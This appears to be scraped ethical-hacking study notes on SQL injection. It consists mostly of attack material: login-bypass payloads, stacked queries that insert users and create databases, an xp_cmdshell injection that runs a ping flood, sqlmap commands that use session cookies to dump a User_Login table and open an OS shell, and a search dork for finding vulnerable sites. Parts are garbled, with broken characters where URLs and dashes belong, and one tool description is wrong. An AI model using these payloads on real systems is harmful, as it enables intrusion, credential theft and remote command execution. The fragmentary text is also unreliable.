15 - SQL Injection
Last updated
Last updated
β or 1=1 --
for login bypass
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1β
βinsert into login values ('john','apple123'); --
create own user in the database
βcreate database mydatabase; --
create database with name of mydatabase
βexec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
execute ping on moviescope
Open the vulnerable website
Copy the cookie from the inspect element
Open the terminal and run SQLMap
SQLMAP Extract DBS
Extract Tables
Extract Columns
Dump Data
OS Shell to execute commands
Login bypass
blah' or 1=1 --
Insert data into DB from login
blah';insert into login values ('john','apple123');
Create database from login
blah';create database mydatabase;
Execute cmd from login
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
Login a website
Inspect element
Dev tools->Console: document.cookie
-u: Specify the target URL
--cookie: Specify the HTTP cookie header value
--dbs: Enumerate DBMS databases
Get a list of databases
Select a database to extract its tables
-D: Specify the DBMS database to enumerate
--tables: Enumerate DBMS database tables
Get a list of tables
Select a column
Get table data of this column
Get the OS Shell
TASKLIST
Then, if we've SQL username and psw, we can use them to login and query db.
Havij: Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities.
jSQL Injection: jSQL Injection is a lightweight application used to find database information from a distant server.
BBQSQL: BBQSQL is a blind SQL injection framework written in Python.
NoSQLMap: NoSQLMap is an open-source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases.
SQLNinja: SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
SQLiX: SQLiX is a SQL Injection scanner written in Perl.
SQLSentinel: SQLSentinel is an application-level firewall for MySQL that prevents SQL Injection attacks.
MyBatis: MyBatis is a Java persistence framework that includes a built-in SQL Injection scanner.
Blisqy: Blisqy is a tool to aid Web Security researchers to find Time-based Blind SQL injection on HTTP Headers and also exploitation of the same vulnerability.
(for cookies- console->document.cookie)
(dump whole table)
OR
(dump individual column data)
sqlmap -u β
--cookie="xookies xxx" --dbs
sqlmap -u β
--cookie="xookies xxx" --data="id=1&Submit=Submit"--dbs
sqlmap -u β
--cookie="cookies xxx" -D moviescope --tables
sqlmap -u β
--cookie="cookies xxx" -D moviescope -T User_Login --columns
sqlmap -u β
--cookie="cookies xxx" -D moviescope -T User_Login --dump
sqlmap -u β
--cookie="cookies xxx" --os-shell
sqlmap -u "" --cookie="value" βdbs
sqlmap -u "" --cookie="value" -D moviescope βtables
sqlmap -u "" --cookie="value" -D moviescope βT User_Login --dump
sqlmap -u "" --cookie="value" --os-shell
site: php?= (for finding vulnerable site)
sqlmap -u --dbs (databases)
sqlmap -u -D acuart βtables (tables)
sqlmap -u -D acuart -T users --columns (columns)
sqlmap -u -D acuart -T users --dump
sqlmap -u -D acuart -T users -C uname --dump
sqlmap -u -D acuart -T users -C pass --dump